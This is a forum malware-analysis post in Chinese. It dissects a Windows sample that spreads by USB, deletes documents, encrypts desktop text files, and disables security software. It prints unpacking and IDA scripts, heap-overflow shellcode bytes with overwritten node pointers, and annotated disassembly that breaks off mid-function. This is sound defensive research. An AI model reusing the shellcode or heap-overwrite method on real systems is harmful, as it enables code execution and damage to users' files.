吾愛破解 - LCG - LSG |安卓破解|病毒分析|破解軟件|jn-dxmm.com

 找回密碼
 注冊[Register]

QQ登錄

只需一步,快速開始

搜索
查看: 3530|回復: 27

[PC樣本分析] 詳細分析利用堆溢出攻擊系統的病毒(分析windows10系統堆溢出過程、文件加密和查找...

  [復制鏈接]
樓主
buzhifou01 發表于 2020-2-16 18:44 回帖獎勵
使用論壇附件上傳樣本壓縮包時必須使用壓縮密碼保護,壓縮密碼:52pojie,否則會導致論壇被殺毒軟件等誤報,論壇有權隨時刪除相關附件和帖子!
最近看到一個有意思的病毒,它可以讓Windows 10系統發生堆溢出,進而注入shellcode,接下來給大家分享、分享,如有分析不對之處,還請賜教!
樣本信息


從下圖可以看出該病毒是PE文件,控制端程序,程序入口處、程序大小等信息

病毒運行
運行環境是:Windows 10 x64
1.病毒運行時,彈出cmd窗口,這時插入U盤,U盤會有病毒的可執行文件和啟動文件




2.關掉病毒時,運行U盤中的病毒時,系統盤產生了病毒

3.注冊表添加了鍵值,從這個鍵值可以看出,當U盤帶有該病毒時,會自啟動該病毒。桌面上的doc、docx文件全部刪除并生成了幾個exe文件,運行exe文件,發現無法運行,用編輯工具打開發現里面是exe文件所在路徑,桌面上的txt文件被篡改,












4.安全軟件和調式軟件全部關閉,任務管理,注冊表軟件等也會關閉

脫殼和算法簡單識別
1.查殼,發現是AsPack殼,接下來進行脫殼,脫殼的時候,一拖入OD病毒就跑了起來,那么用其它的方法,好像不行,接下來使用脫殼機進行脫殼。




2.接著單步,使用esp定律,單步到程序EP,下面是運行到程序EP腳本
[Asm] 純文本查看 復制代碼
 var address   //定義變量
  sto        //相當于f8
  //保存esp地址
  mov address,esp
  bphws address,"r" //當讀取address的時候產生硬件中斷
  run  //相當于f9
  sto
  sto
  sto
  BPHWC address //清除硬件斷點
  sti  //相當于f7
  msg "Welcome To EP"

運行結果如下:

3.脫殼后,查看導入的函數,沒發現加密的庫函數,使用PEID的Kyrpto ANALyzer插件掃描病毒程序,同樣也沒發現什么加密算法。





4.由于TXT文件已被篡改,那么病毒很有可能使用了加密算法,那么接下來使用IDA腳本找到該病毒程序的算法函數,IDA腳本如下:
[Python] 純文本查看 復制代碼
# -*- coding:utf-8 -*-
def mul():
    return 1

def imul():
    return 1

def opand():
    return 1


def opor():
    return 1


def opnot():
    return 1


def div():
    return 1


def xor():
    return 1


def default():
    return 0

switch = {    'mul': mul,
			  'imul': imul,
			  'and': opand,
			  'or': opor,
			  'not': opnot,
			  'div': div,
			  'xor': xor,
                         }
FunAddress = []
OpAndTypeNum=dict()
FindFunc = dict()
def GetKeyFunc(Start, End):
	#把代碼段中的所有函數存放在列表FunAddress中
	for function_ea in Functions(Start, End):
		FunAddress.append(function_ea)
	FunAddress.append(End)
	#遍歷所有的函數
	for i in range(0, len(FunAddress)):
		#獲取函數名
		FunctionName = GetFunctionName(FunAddress[i])
		#判斷是否為用戶函數
		if i + 1 != len(FunAddress) and FunctionName[0]=='s' and FunctionName[1]=='u' and FunctionName[2]=='b':
			OpNum=0
			#清空字典
			OpAndTypeNum.clear()
			#遍歷所有函數中的指令
			for singfuc_ea in range(FunAddress[i], FunAddress[i + 1]):
				flag = GetFlags(singfuc_ea)
				#判斷是否為操作碼
				if isCode(flag):
					#獲取匯編指令
					op = GetMnem(singfuc_ea)
					#使用switch判斷是否為算術或邏輯指令
					OpAndTypeNum[op] = OpAndTypeNum.get(op,0)+switch.get(op, default)()
			#統計算術或邏輯指令的個數
			for OP,value in OpAndTypeNum.items():
				if value>0:
					OpNum+=1
					
			#如果算術或邏輯指令的個數大于2,則可以初步判斷該函數為用戶寫的算法函數(有誤差)
			if OpNum>2:
				FindFunc[FunctionName]=FunAddress[i]
				#print "i:",FunAddress[i],"i+1:",FunAddress[i+1]
				
	for Name, ea in FindFunc.items():
		print Name, ":", ea
for seg in Segments():  # 遍歷所有的段
    if SegName(seg) == '.text':
        GetKeyFunc(seg, SegEnd(seg))

運行結果:

Windows 10堆溢出和堆的內核結構
1.我簡單介紹一下Windows10系統中的堆:堆可以分為NT堆和段堆,NT堆又可以分為后端分配堆和低碎片化堆,段堆主要分為:可變大小分配堆和低碎片化堆,段堆一般是系統進程使用。通常在默認情況下,用戶開發的程序往往使用的是NT堆,而要用戶開發的程序也使用段堆,那么就要按如下方法在注冊表中進行設置:
[Asm] 純文本查看 復制代碼
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Segment Heap
Enabled = (DWORD)
0 : Disable Segment Heap
(Not 0): Enable Segment Heap

段堆的內核結構如下:
[Asm] 純文本查看 復制代碼
_SEGMENT_HEAP
//堆的內存大小

 +0x000 TotalReservedPages : Uint8B
+0x008 TotalCommittedPages : Uint8B
//堆的標記

 +0x010 Signature : Uint4B
 +0x014 GlobalFlags : Uint4B
 +0x018 FreeCommittedPages : Uint8B
 +0x020 Interceptor : Uint4B
//堆在堆數組中的下標
+0x024 ProcessHeapListIndex : Uint2B
//堆內存鎖住狀態

 +0x026 GlobalLockCount : Uint2B
 +0x028 GlobalLockOwner : Uint4B
 +0x030 LargeMetadataLock : _RTL_SRWLOCK
 +0x038 LargeAllocMetadata : _RTL_RB_TREE
 +0x048 LargeReservedPages : Uint8B
 +0x050 LargeCommittedPages : Uint8B
 +0x058 SegmentAllocatorLock : _RTL_SRWLOCK
//子段鏈表

 +0x060 SegmentListHead : _LIST_ENTRY
//子段數量

 +0x070 SegmentCount : Uint8B
//空閑內存頁面

 +0x078 FreePageRanges : _RTL_RB_TREE
 +0x088 StackTraceInitVar : _RTL_RUN_ONCE
 +0x090 ContextExtendLock : _RTL_SRWLOCK
 +0x098 AllocatedBase : Ptr64 UChar
 +0x0a0 UncommittedBase : Ptr64 UChar
 +0x0a8 ReservedLimit : Ptr64 UChar
 +0x0b0 VsContext : _HEAP_VS_CONTEXT
 +0x120 LfhContext : _HEAP_LFH_CONTEXT

在段堆的結構中我們可以看到VsContent和LFHContent,它們分別對應上面寫的可變大小分配堆和低碎片化堆,這兩個堆是段堆常用的堆。

2.在導入窗口看到CreateWindowExA函數,那么就有WinMain函數,進入OD,看到窗口處理函數40210D,進入40210D會看到觸發堆溢出函數。








3.有時用OD打開程序直接進入ntdll模塊,那么程序顯然無法正常運行,接下來搜索地址401000,接著選中40100,右鍵點擊此處新建EIP(修改EIP),那么就可以正常運行了。




4.病毒先是分配10個堆,然后釋放其中一個塊,然后在空閑塊中分配shellcode,shellcode覆蓋了下一塊的頭部及部分堆塊,shellcode可在窗口中看到。











5.接下來看看堆溢出過程,在內存窗口可以看到已分配的塊和釋放的塊,當釋放一個塊之后,病毒成功注入shellcode。




6.堆溢出往往發生在堆塊中,思路一般是先分配幾個塊,然后釋放一個塊,在上一個塊進行賦值操作時,賦值大于塊的容量進而覆蓋下一個塊的頭部及部分塊身,進而發生重定向攻擊
堆塊分為兩種:空閑塊和已分配塊,它們分別對應不同的塊頭,它們的塊頭如下所示:
[Asm] 純文本查看 復制代碼
空閑塊的頭部大小是32個字節
_HEAP_VS_CHUNK_FREE_HEADER
 +0x000 Header : _HEAP_VS_CHUNK_HEADER
 +0x000 Sizes : _HEAP_VS_CHUNK_HEADER_SIZE
 +0x000 MemoryCost : Pos 0, 16 Bits
 +0x000 UnsafeSize : Pos 16, 16 Bits
 +0x004 UnsafePrevSize : Pos 0, 16 Bits
 +0x004 Allocated : Pos 16, 8 Bits
 +0x000 KeyUShort : Uint2B
 +0x000 KeyULong : Uint4B
 +0x000 HeaderBits : Uint8B
 +0x008 EncodedSegmentPageOffset : Pos 0, 8 Bits
 +0x008 UnusedBytes : Pos 8, 1 Bit
 +0x008 SkipDuringWalk : Pos 9, 1 Bit
 +0x008 Spare : Pos 10, 22 Bits
 +0x008 AllocatedChunkBits : Uint4B
 +0x000 OverlapsHeader : Uint8B
 //Node結構的大小為24個字節
 +0x008 Node : _RTL_BALANCED_NODE

空閑塊頭如下:

[Asm] 純文本查看 復制代碼
已分配塊的頭部的大小是8個字節
_HEAP_VS_CHUNK_HEADER
 +0x000 Sizes : _HEAP_VS_CHUNK_HEADER_SIZE
 +0x000 MemoryCost : Pos 0, 16 Bits
 +0x000 UnsafeSize : Pos 16, 16 Bits
 +0x004 UnsafePrevSize : Pos 0, 16 Bits
 +0x004 Allocated : Pos 16, 8 Bits
 +0x000 KeyUShort : Uint2B
 +0x000 KeyULong : Uint4B
 +0x000 HeaderBits : Uint8B
 +0x008 EncodedSegmentPageOffset : Pos 0, 8 Bits
 +0x008 UnusedBytes : Pos 8, 1 Bit
 +0x008 SkipDuringWalk : Pos 9, 1 Bit
 +0x008 Spare : Pos 10, 22 Bits
 +0x008 AllocatedChunkBits : Uint4B

已分配塊如下:

6.下面看看注入的shellcode,
[Asm] 純文本查看 復制代碼
"BBBBBBBBBBBBBBBB"
        "BBBBBBBBBBBBBBBB"
        "BBBBBBBBBBBBBBBB"
        "BBBBBBBBBBBBBBBB"
        "BBBBBBBBBBBBBBBB"
        "BBBBBBBBBBBBBBBB"
        "BBBBBBBBBBBBBBBB"
        "BBBBBBBBBBBBBBBB"
        "BBBBBBBBBBBBBBBB"
        "BBBBBBBBBBBBBBBB"
        "BBBBBBBBBBBBBBBB"
        "BBBBBBBBBBBBBBBB"
        "BBBBBBBBBBBBBBBB"
        "BBBBBBBBBBBBBBBB"
        "BBBBBBBBBBBBBBBB"
        "BBBBBBBBBBBBBBBB"
        "BBBBBBBBBBBBBBBB"
        "BBBBBBBBBBBBBBBB"
        "BBBBBBBBBBBBBBBB"
        "BBBBBBBBBBBBBBBB"
        "BBBBBBBBBBBBBBBB"
        "BBBBBBBBBBBBBBBB"
        "BBBBBBBBBBBBBBBB"
        "BBBBBBBBBBBBBBBB"
        "BBBBBBBBBBBBBBBB"
        "CCCCDDDD"
        //上面的字符填充空閑塊
           
    "\x90\x90\x90\x90\x90\x90\xeb\x08" //覆蓋空閑塊中Node節點以上的頭部字段   
        "\x14\xF7\xE2\x77" //覆蓋Node節點的左指針,主要用來重定向攻擊                       
        "\x4C\x14\xEC\x77" //覆蓋Node節點的右指針,主要用來重定向攻擊                   
        "\x33\xC0\x50\xC6\x04\x24\x6C\xC6\x44\x24\x01\x6C\x68"
        "\x52\x54\x2E\x44\x68\x4D\x53\x56\x43\x8B\xC4\x50\xB8" 
        "\xcf\x05\xe7\x77"  //調用了LoadLibraryA()函數
        "\xFF\xD0\x33\xC0\x50\xC6\x04\x24\x63\xC6\x44\x24\x01"
        "\x6F\xC6\x44\x24\x02\x6D\x68\x61\x6E\x64\x2E\x68\x63"
        "\x6F\x6D\x6D\x8B\xC4\x50\xB8"
        "\xbf\x8e\x01\x78" //系統地址
        "\xFF\xD0";

堆溢出的原理如下:


3.文件加密和查找算法
1.在導入的函數中,可以看到_findfirst、_findnext等函數,那么有文件查找函數。

2.進行文件搜索匹配之前要調用獲取某路徑所有文件的函數getFiles,該函數主要是通過通配符的方式進行查找并獲取路徑下所有的文件

3.getFiles函數使用了遞歸算法(自身調用自身),對于文件夾文件則調用自己,對于非系統文件和非文件夾文件則存入,該函數的算法如下:


[Asm] 純文本查看 復制代碼
 sub     esp, 1CCh
.text:004014B0                 mov     [ebp+var_1A4], offset sub_404AA0 ; 存放404aa0函數地址
.text:004014BA                 mov     [ebp+var_1A0], offset dword_4BB440 ; 存放4bb440函數地址
.text:004014C4                 lea     eax, [ebp+var_19C]
.text:004014CA                 lea     ebx, [ebp+var_18] ; ebx為桌面路徑
.text:004014CD                 mov     [eax], ebx      ; eax存放桌面路徑
.text:004014CF                 mov     edx, offset loc_4017C7 ; 存放4017c7函數地址
.text:004014D4                 mov     [eax+4], edx
.text:004014D7                 mov     [eax+8], esp    ; [eax+8]為-2
.text:004014DA                 lea     eax, [ebp+var_1BC] ; 存放ntdll.77b32c00函數地址
.text:004014E0                 mov     [esp+1D8h+Str1], eax
.text:004014E3                 call    sub_42ABE0
.text:004014E8                 mov     [ebp+var_1C], 0 ; 變量h=0
.text:004014EF                 lea     eax, [ebp+var_4D]
.text:004014F2                 mov     ecx, eax
.text:004014F4                 call    nullsub_7       ; 對某字符串進行初始化
.text:004014F9                 lea     eax, [ebp+var_180]
.text:004014FF                 lea     edx, [ebp+var_4D]
.text:00401502                 mov     [esp+1D8h+Str2], edx ; int
.text:00401506                 mov     [esp+1D8h+Str1], offset pStr ; char *
.text:0040150D                 mov     [ebp+var_1B8], 1
.text:00401517                 mov     ecx, eax
.text:00401519                 call    StringEqual     ; 字符串賦值操作
.text:0040151E                 sub     esp, 8
.text:00401521                 lea     eax, [ebp+var_4D]
.text:00401524                 mov     ecx, eax
.text:00401526                 call    StringAllocator ; 字符串初始化函數
.text:0040152B                 mov     [esp+1D8h+Str2], offset pStr ; char *
.text:00401533                 mov     eax, [ebp+delfile] ; delfile存放在堆棧中
.text:00401536                 mov     [esp+1D8h+Str1], eax ; int
.text:00401539                 mov     [ebp+var_1B8], 2
.text:00401543                 call    getSize         ; 獲取字符串delfile的長度
.text:00401548                 test    al, al          ; 判斷delfile的長度是否為0
.text:0040154A                 jnz     short loc_40155A ; 不為空跳轉
.text:0040154C                 mov     eax, [ebp+delfile] ; 傳入.doc
.text:0040154F                 mov     ecx, eax
.text:00401551                 call    StrAppend       ; 把文件后綴名附加到字符串尾部
.text:00401556                 test    eax, eax        ; 判斷字符串是否為空
.text:00401558                 jnz     short loc_401561
.text:0040155A
.text:0040155A loc_40155A:                             ; CODE XREF: getFiles+A6↑j
.text:0040155A                 mov     eax, 1
.text:0040155F                 jmp     short loc_401566 ; 判斷字符串是否為空
.text:00401561 ; ---------------------------------------------------------------------------
.text:00401561
.text:00401561 loc_401561:                             ; CODE XREF: getFiles+B4↑j
.text:00401561                 mov     eax, 0
.text:00401566
.text:00401566 loc_401566:                             ; CODE XREF: getFiles+BB↑j
.text:00401566                 test    al, al          ; 判斷字符串是否為空
.text:00401568                 jz      short loc_401588 ; eax為文件后綴名
.text:0040156A                 mov     eax, [ebp+delfile]
.text:0040156D                 mov     [esp+1D8h+Str1], offset asc_4BF05F ; "*"
.text:00401574                 mov     [ebp+var_1B8], 2
.text:0040157E                 mov     ecx, eax
.text:00401580                 call    StringEqual3    ; 字符串賦值函數[/size]
[size=3]text:00401585                 sub     esp, 4
.text:00401588
.text:00401588 loc_401588:                             ; CODE XREF: getFiles+C4↑j
.text:00401588                 lea     eax, [ebp+var_180] ; eax為文件后綴名
.text:0040158E                 mov     edx, [ebp+arg_0] ; 傳入桌面路徑
.text:00401591                 mov     [esp+1D8h+Str1], edx ; 把桌面路徑傳入堆棧中
.text:00401594                 mov     [ebp+var_1B8], 2
.text:0040159E                 mov     ecx, eax
.text:004015A0                 call    DealPath        ; 把桌面路徑添加到字符串的后面
.text:004015A5                 sub     esp, 4
.text:004015A8                 mov     [esp+1D8h+Str1], offset asc_4BF061 ; "\\"
.text:004015AF                 mov     ecx, eax
.text:004015B1                 call    StrAppend2      ; 把"\\"添加到字符串的后面
.text:004015B6                 sub     esp, 4
.text:004015B9                 mov     edx, eax
.text:004015BB                 mov     eax, [ebp+delfile] ; 文件類型
.text:004015BE                 mov     [esp+1D8h+Str1], eax
.text:004015C1                 mov     ecx, edx
.text:004015C3                 call    StrAppend3      ; 把文件類型字符串添加到字符串的后面
.text:004015C8                 sub     esp, 4
.text:004015CB                 mov     ecx, eax
.text:004015CD                 call    StringToChar
.text:004015D2                 mov     edx, eax
.text:004015D4                 lea     eax, [ebp+var_168] ; eax為桌面路徑+文件類型
.text:004015DA                 mov     [esp+1D8h+Str2], eax ; 傳入函數的第二個參賽
.text:004015DE                 mov     [esp+1D8h+Str1], edx
.text:004015E1                 call    _findfirst
.text:004015E6                 mov     [ebp+var_1C], eax ; 存儲返回值
.text:004015E9                 cmp     [ebp+var_1C], 0FFFFFFFFh ; 是否找到
.text:004015ED                 setnz   al              ; 低8為設置為0
.text:004015F0                 test    al, al          ; 判斷返回值是否為0
.text:004015F2                 jz      loc_4017AB
.text:004015F8
.text:004015F8 loc_4015F8:                             ; CODE XREF: getFiles+2F7↓j
.text:004015F8                 mov     eax, [ebp+var_168] ; 傳入文件屬性值
.text:004015FE                 cmp     eax, 14h        ; 比較是否為系統文件
.text:00401601                 jz      loc_40177C
.text:00401607                 mov     eax, [ebp+var_168] ; 傳入文件屬性值
.text:0040160D                 and     eax, 10h        ; 文件屬性值跟0x10進行與操作
.text:00401610                 test    eax, eax        ; 判斷返回的結果是否為0
.text:00401612                 jz      loc_40171F      ; 傳入文件路徑+文件類型
.text:00401618                 mov     [esp+1D8h+Str2], offset Str2 ; "."
.text:00401620                 lea     eax, [ebp+var_168] ; 傳入文件屬性值
.text:00401626                 add     eax, 14h        ; 偏移0x14
.text:00401629                 mov     [esp+1D8h+Str1], eax ; Str1
.text:0040162C                 call    strcmp          ; 判斷文件類型是否是'.'
.text:00401631                 test    eax, eax        ; 判斷是否相等
.text:00401633                 jz      loc_40177D      ; 把文件地址傳入
.text:00401639                 mov     [esp+1D8h+Str2], offset a__ ; 變量type1為..
.text:00401641                 lea     eax, [ebp+var_168] ; 傳入文件屬性值
.text:00401647                 add     eax, 14h        ; 偏移0x14
.text:0040164A                 mov     [esp+1D8h+Str1], eax ; Str1
.text:0040164D                 call    strcmp          ; 判斷文件名是否是'.'[/size]
[size=3].text:00401652                 test    eax, eax        ;  判斷是否相等
.text:00401654                 jz      loc_40177D      ; 把文件地址傳入
.text:0040165A                 lea     eax, [ebp+var_4D+1]
.text:0040165D                 mov     edx, [ebp+delfile] ; 把delfile地址傳入
.text:00401660                 mov     [esp+1D8h+Str1], edx
.text:00401663                 mov     [ebp+var_1B8], 2[/size]
[size=3].........[/size]
[size=3].........
[/size]
[size=3]0171F:                             ; CODE XREF: getFiles+16E↑j
.text:0040171F                 lea     eax, [ebp+var_180] ; 傳入文件路徑+文件類型
.text:00401725                 mov     edx, [ebp+arg_0]
.text:00401728                 mov     [esp+1D8h+Str1], edx
.text:0040172B                 mov     [ebp+var_1B8], 2
.text:00401735                 mov     ecx, eax        ; 賦值文件路徑+文件類型
.text:00401737                 call    DealPath        ; 處理桌面路徑
.text:0040173C                 sub     esp, 4
.text:0040173F                 mov     [esp+1D8h+Str1], offset asc_4BF061 ; "\\"
.text:00401746                 mov     ecx, eax
.text:00401748                 call    StrAppend2      ; 在文件路徑后面加上'\\'
.text:0040174D                 sub     esp, 4
.text:00401750                 mov     edx, eax
.text:00401752                 lea     eax, [ebp+var_168] ; 傳入文件屬性
.text:00401758                 add     eax, 14h        ; 偏移0x14
.text:0040175B                 mov     [esp+1D8h+Str1], eax ; char *
.text:0040175E                 mov     ecx, edx
.text:00401760                 call    StrAppend2      ; 在后面添加文件名
.text:00401765                 sub     esp, 4
.text:00401768                 mov     edx, eax
.text:0040176A                 mov     eax, [ebp+arg_4] ; 文件路徑
.text:0040176D                 mov     [esp+1D8h+Str1], edx
.text:00401770                 mov     ecx, eax
.text:00401772                 call    Addfile         ; 把文件路徑添加進去
.text:00401777                 sub     esp, 4
.text:0040177A                 jmp     short loc_40177D ; 把文件地址傳入
.text:0040177C ; ---------------------------------------------------------------------------
.text:0040177C
.text:0040177C loc_40177C:                             ; CODE XREF: getFiles+15D↑j
.text:0040177C                 nop
.text:0040177D
.text:0040177D loc_40177D:                             ; CODE XREF: getFiles+18F↑j
.text:0040177D                                         ; getFiles+1B0↑j ...
.text:0040177D                 lea     eax, [ebp+var_168] ; 把文件地址傳入
.text:00401783                 mov     [esp+1D8h+Str2], eax
.text:00401787                 mov     eax, [ebp+var_1C] ; 傳入文件句柄
.text:0040178A                 mov     [esp+1D8h+Str1], eax
.text:0040178D                 call    _findnext       ; 找到下一個文件
.text:00401792                 test    eax, eax        ; 判斷是否找到
.text:00401794                 setz    al
.text:00401797                 test    al, al
.text:00401799                 jz      short loc_4017A0 ; 傳入文件句柄
.text:0040179B                 jmp     loc_4015F8      ; 傳入文件屬性值
.text:004017A0 ; ---------------------------------------------------------------------------
.text:004017A0
.text:004017A0 loc_4017A0:                             ; CODE XREF: getFiles+2F5↑j
.text:004017A0                 mov     eax, [ebp+var_1C] ; 傳入文件句柄
.text:004017A3                 mov     [esp+1D8h+Str1], eax
.text:004017A6                 call    _findclose      ; 關閉文件句柄
[/size]
[size=3]

4.獲取某路徑中所有文件路徑之后,把存入文件路徑的vector傳入文件搜索匹配函數中,文件搜索匹配函數主要是使用了二分查找算法,這樣可以降低時間復雜度,加快對文件的查找,文件搜索匹配算法如下:









5.病毒在兩個地方使用了文件搜索匹配函數,一個是把病毒拷到系統盤時,判斷系統盤是否有病毒程序,另一個是對桌面txt文件進行加密時,找到桌面所有的txt文件。





6.在病毒運行部分,病毒對txt文件進行了加密,那么病毒用的是自身寫的加密函數,首先該病毒讀取桌面的txt文件,然后讀取里面的內容,隨后對內容進行加密,并寫入到txt文件中,找到并讀取txt文件的算法程序如下:




7.加密函數encrycode,運用了兩個十六進制數組來對txt文件內容進行加密,隨后通過一些邏輯運算對txt文件內容進行處理,隨后生成字符串寫入文件中,該加密函數算法如下:
[Asm] 純文本查看 復制代碼
.text:00403A1E                 call    sub_42ABE0      ; 以下定義了一個int數組Mod
.text:00403A23                 mov     [ebp+var_52], 45h ; 數組第一個元素
.text:00403A27                 mov     [ebp+var_51], 89h ; 數組第二個元素
.text:00403A2B                 mov     [ebp+var_50], 41h
.text:00403A2F                 mov     [ebp+var_4F], 80h
.text:00403A33                 mov     [ebp+var_4E], 42h
.text:00403A37                 mov     [ebp+var_4D], 59h
.text:00403A3B                 mov     [ebp+var_4C], 15h
.text:00403A3F                 mov     [ebp+var_4B], 46h
.text:00403A43                 mov     [ebp+var_4A], 19h
.text:00403A47                 mov     [ebp+var_49], 82h
.text:00403A4B                 mov     [ebp+var_48], 10h
.text:00403A4F                 mov     [ebp+var_47], 20h
.text:00403A53                 mov     [ebp+var_46], 87h
.text:00403A57                 mov     [ebp+var_45], 45h
.text:00403A5B                 mov     [ebp+var_44], 32h
.text:00403A5F                 mov     [ebp+var_43], 65h
.text:00403A63                 mov     [ebp+var_42], 55h
.text:00403A67                 mov     [ebp+var_41], 11h
.text:00403A6B                 mov     [ebp+var_40], 22h
.text:00403A6F                 mov     [ebp+var_3F], 33h ; 數組第20個元素
.text:00403A73                 mov     [esp+0E8h+Time], 0 ; Time
.text:00403A7A                 call    time            ; 調用time函數,傳入time函數的參數為NULL
.text:00403A7F                 mov     [esp+0E8h+Time], eax ; Seed
.text:00403A82                 call    srand           ; 設置隨機因子
.text:00403A87                 mov     [ebp+var_1C], 0 ; 定義新變量i,初始化值為0
.text:00403A8E                 lea     eax, [ebp+var_3E]
.text:00403A91                 mov     ecx, eax
.text:00403A93                 call    nullsub_7       ; 為析構函數,第一次訪問i變量時使用析構函數進行注冊
.text:00403A98                 lea     eax, [ebp+var_3E]
.text:00403A9B                 mov     [esp+0E8h+DstBuf], eax ; int
.text:00403A9F                 mov     [esp+0E8h+Time], offset pStr ; char *
.text:00403AA6                 mov     [ebp+var_C8], 1 ; 上一行定義了一個字符串,賦值為“”
.text:00403AB0                 mov     ecx, [ebp+arg_0]
.text:00403AB3                 call    StringEqual     ; 字符串初始化函數
.text:00403AB8                 sub     esp, 8
.text:00403ABB                 lea     eax, [ebp+var_3E] ; 函數第二個參數len
.text:00403ABE                 mov     ecx, eax
.text:00403AC0                 call    StringAllocator ; 把字符串裝換成字符數組
.text:00403AC5
.text:00403AC5 loc_403AC5:                             ; CODE XREF: .text:00403F3D↓j
.text:00403AC5                 mov     eax, [ebp+arg_8] ; 循環結構,該函數的加密循環
.text:00403AC8                 sub     eax, 1
.text:00403ACB                 lea     edx, [eax+3]
.text:00403ACE                 test    eax, eax        ; len是否為空
.text:00403AD0                 cmovs   eax, edx
.text:00403AD3                 sar     eax, 2          ; len/4
.text:00403AD6                 add     eax, 1          ; len/4+1
.text:00403AD9                 cmp     eax, [ebp+var_1C] ; len與i進行比較
.text:00403ADC                 jle     loc_40400D      ; i<len/4+1
.text:00403AE2                 mov     [ebp+var_1D], 35h ; 變量k1,值為0x35
.text:00403AE6                 mov     [ebp+var_1E], 25h ; 變量k1,值為0x25
.text:00403AEA                 mov     [ebp+var_1F], 45h ; 變量k3,值為0x45
.text:00403AEE                 mov     [ebp+var_20], 55h ; 變量k4,值為0x55
.text:00403AF2                 call    rand            ; 生成隨機數
.text:00403AF7                 mov     ecx, eax        ; ecx=rand()
.text:00403AF9                 mov     edx, 66666667h  ; 以下是求模操作,求模的操作數為0x14
.text:00403AFE                 mov     eax, ecx
.text:00403B00                 imul    edx             ; eax=eax*edx
.text:00403B02                 sar     edx, 3          ; 66666667h右移三位
.text:00403B05                 mov     eax, ecx        ; eax=rand()
.text:00403B05 encrycode       endp ; sp-analysis failed
.text:00403B05
.text:00403B07
.text:00403B07 loc_403B07:                             ; 隨機值右移0x1f位
.text:00403B07                 sar     eax, 1Fh
.text:00403B0A                 sub     edx, eax        ; 66666667<<3-66666667<<0x1f
.text:00403B0C                 mov     eax, edx        ; eax=66666667<<3-66666667<<0x1f
.text:00403B0E                 shl     eax, 2          ; (66666667<<3-66666667<<0x1f)>>2
.text:00403B11                 add     eax, edx        ; (66666667<<3-66666667<<0x1f)>>2+66666667<<3-66666667<<0x1f
.text:00403B13                 shl     eax, 2          ; ((66666667<<3-66666667<<0x1f)>>2+66666667<<3-66666667<<0x1f)>>2
.text:00403B16                 sub     ecx, eax        ; rand()-((66666667<<3-66666667<<0x1f)>>2+66666667<<3-66666667<<0x1f)>>2
.text:00403B18                 mov     edx, ecx        ; edx=rand()-((66666667<<3-66666667<<0x1f)>>2+66666667<<3-66666667<<0x1f)>>2
.text:00403B1A                 mov     [ebp-21h], dl   ; [ebp-21h]為變量t1
.text:00403B1D                 call    rand
.text:00403B22                 mov     ecx, eax        ; ecx=rand()
.text:00403B24                 mov     edx, 66666667h  ; 以下是求模操作,求模的操作數為0x14
.text:00403B29                 mov     eax, ecx        ; 下面同上
.text:00403B2B                 imul    edx
.text:00403B2D                 sar     edx, 3
.text:00403B30                 mov     eax, ecx
.text:00403B32                 sar     eax, 1Fh
.text:00403B35                 sub     edx, eax
.text:00403B37                 mov     eax, edx
.text:00403B39                 shl     eax, 2
.text:00403B3C                 add     eax, edx
.text:00403B3E                 shl     eax, 2
.text:00403B41                 sub     ecx, eax
.text:00403B43                 mov     edx, ecx
.text:00403B45                 mov     [ebp-22h], dl   ; [ebp-22h]為變量t2
.text:00403B48                 call    rand
.text:00403B4D                 mov     ecx, eax        ; ecx=rand()
.text:00403B4F                 mov     edx, 80808081h  ; 以下是求模操作,求模的操作數為0xff
.text:00403B54                 mov     eax, ecx        ; eax=oxff
.text:00403B56                 imul    edx             ; 求模操作同上
.text:00403B58                 lea     eax, [edx+ecx]
.text:00403B5B                 sar     eax, 7
.text:00403B5E                 mov     edx, eax
.text:00403B60                 mov     eax, ecx
.text:00403B62                 sar     eax, 1Fh
.text:00403B65                 sub     edx, eax
.text:00403B67                 mov     eax, edx
.text:00403B69                 mov     edx, eax
.text:00403B6B                 shl     edx, 8
.text:00403B6E                 sub     edx, eax
.text:00403B70                 mov     eax, ecx
.text:00403B72                 sub     eax, edx        ; 求模操作結束
.text:00403B74                 mov     [ebp-23h], al   ; [ebp-23h]為變量t3
.text:00403B77                 mov     edx, [ebp-1Ch]  ; [ebp-1Ch]為待加密數組的最后元素
.text:00403B7A                 mov     eax, [ebp+0Ch]  ; [ebp+0Ch]為待加密數組的第一個元素
.text:00403B7D                 add     eax, edx
.text:00403B7F                 movzx   eax, byte ptr [eax] ; eax為待加密數組的第一個元素
.text:00403B82                 test    al, al          ; 是否為結束符
.text:00403B84                 jz      short loc_403BF4 ; 是的話,跳轉
.text:00403B86                 movzx   eax, byte ptr [ebp-22h] ; eax為t2
.text:00403B8A                 movzx   eax, byte ptr [ebp+eax-52h] ; eax為mod[t2]
.text:00403B8F                 movzx   eax, al         ; 取低8位
.text:00403B92                 and     eax, 74h        ; 0x74&mod[t2]
.text:00403B95                 mov     edx, eax        ; edx為0x74&mod[t2]
.text:00403B97                 movzx   eax, byte ptr [ebp-21h] ; eax為t1
.text:00403B9B                 movzx   eax, byte ptr [ebp+eax-52h] ; eax為mod[t1]
.text:00403BA0                 or      al, [ebp-1Eh]   ; k2|mod[t1]
.text:00403BA3                 movzx   eax, al         ; eax為k2|mod[t1]
.text:00403BA6                 lea     ecx, [eax+39h]  ; ecx為0x39
.text:00403BA9                 movzx   eax, byte ptr [ebp-1Dh]
.text:00403BAD                 and     eax, ecx        ; k2|mod[t1])&k1
.text:00403BAF                 mov     ebx, edx        ; ebx為0x74&mod[t2]
.text:00403BB1                 xor     ebx, eax        ; 0x74&mod[t2])^0x39
.text:00403BB3                 mov     edx, 10FEF011h  ; 求模操作,操作數是0xf1
.text:00403BB8                 mov     eax, ebx
.text:00403BBA                 imul    edx
.text:00403BBC                 sar     edx, 4
.text:00403BBF                 mov     eax, ebx
.text:00403BC1                 sar     eax, 1Fh
.text:00403BC4                 mov     ecx, edx
.text:00403BC6                 sub     ecx, eax
.text:00403BC8                 imul    eax, ecx, 0F1h
.text:00403BCE                 sub     ebx, eax
.text:00403BD0                 mov     ecx, ebx        ; ecx=k2|mod[t1])&k1)%0xf1
.text:00403BD2                 mov     edx, 44D72045h  ; 求模操作,操作數是0xee
.text:00403BD7                 mov     eax, ecx
.text:00403BD9                 imul    edx
.text:00403BDB                 sar     edx, 6
.text:00403BDE                 mov     eax, ecx
.text:00403BE0                 sar     eax, 1Fh
.text:00403BE3                 sub     edx, eax
.text:00403BE5                 mov     eax, edx
.text:00403BE7                 imul    eax, 0EEh
.text:00403BED                 sub     ecx, eax
